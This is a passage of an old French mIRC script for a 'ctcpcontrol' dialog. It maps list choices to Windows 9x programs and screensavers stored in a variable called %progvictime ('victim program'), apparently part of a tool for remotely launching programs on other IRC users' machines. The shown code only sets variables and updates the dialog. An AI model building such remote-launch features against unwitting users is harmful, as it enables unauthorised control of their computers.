  if $did(ctcpcontrol,45).sel == 2 { set %progvictime C:\windows\winmine.exe | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 3 { set %progvictime C:\windows\freecell.exe | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 4 { set %progvictime C:\windows\sol.exe | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 5 { set %progvictime C:\windows\mshearts.exe | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 6 { set %progvictime C:\windows\defrag.exe | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 7 { set %progvictime C:\windows\regedit.exe | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 8 { set %progvictime C:\windows\scandskw.exe | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 9 { set %progvictime C:\windows\notepad.exe | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 10 { set %progvictime C:\windows\pbrush.exe | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 11 { set %progvictime C:\windows\sndrec32.exe | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 12 { set %progvictime C:\windows\cdplayer.exe | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 13 { set %progvictime C:\windows\calc.exe | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 14 { set %progvictime C:\windows\explorer.exe | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 15 { set %progvictime C:\command.com | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 16 { set %progvictime C:\windows\winver.exe | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 17 { unset %progvictime | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 aucun programme selectionné }
  if $did(ctcpcontrol,45).sel == 18 { set %progvictime C:\windows\system\Boîte florissante 3D.scr | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 19 { set %progvictime C:\windows\system\Canalisations 3D.scr | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 20 { set %progvictime C:\windows\system\Courbes et couleurs.scr | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 21 { set %progvictime C:\windows\system\Espace.scr | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 22 { set %progvictime C:\windows\system\étoiles.scr | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 23 { set %progvictime C:\windows\system\fenêtres volantes.scr | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 24 { set %progvictime C:\windows\system\fonds marins.scr | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 25 { set %progvictime C:\windows\system\labyrinthe 3D.scr | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 26 { set %progvictime C:\windows\system\Au coeur de l'ordinateur.scr | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 27 { set %progvictime C:\windows\system\baseball.scr | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 28 { set %progvictime C:\windows\system\jungle.scr | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 29 { set %progvictime C:\windows\system\L'âge d'or.scr | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 30 { set %progvictime C:\windows\system\léonard de vinci.scr | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 31 { set %progvictime C:\windows\system\les animaux dangereux.scr | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 32 { set %progvictime C:\windows\system\les années 60 américaines.scr | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 33 { set %progvictime C:\windows\system\Mystère.scr | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 34 { set %progvictime C:\windows\system\Mystifiez votre esprit.scr | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 35 { set %progvictime C:\windows\system\Nature.scr | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 36 { set %progvictime C:\windows\system\Objets volants 3D.scr | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 37 { set %progvictime C:\windows\system\Panneau lumineux.scr | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 38 { set %progvictime C:\windows\system\Science.scr | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 39 { set %progvictime C:\windows\system\Sports.scr | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 40 { set %progvictime C:\windows\system\texte 3D.scr | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 41 { set %progvictime C:\windows\system\Voyages.scr | did -rm ctcpcontrol 47 | did -a ctcpcontrol 47 %progvictime }
  if $did(ctcpcontrol,45).sel == 42 { did -rn ctcpcontrol 47 }

}
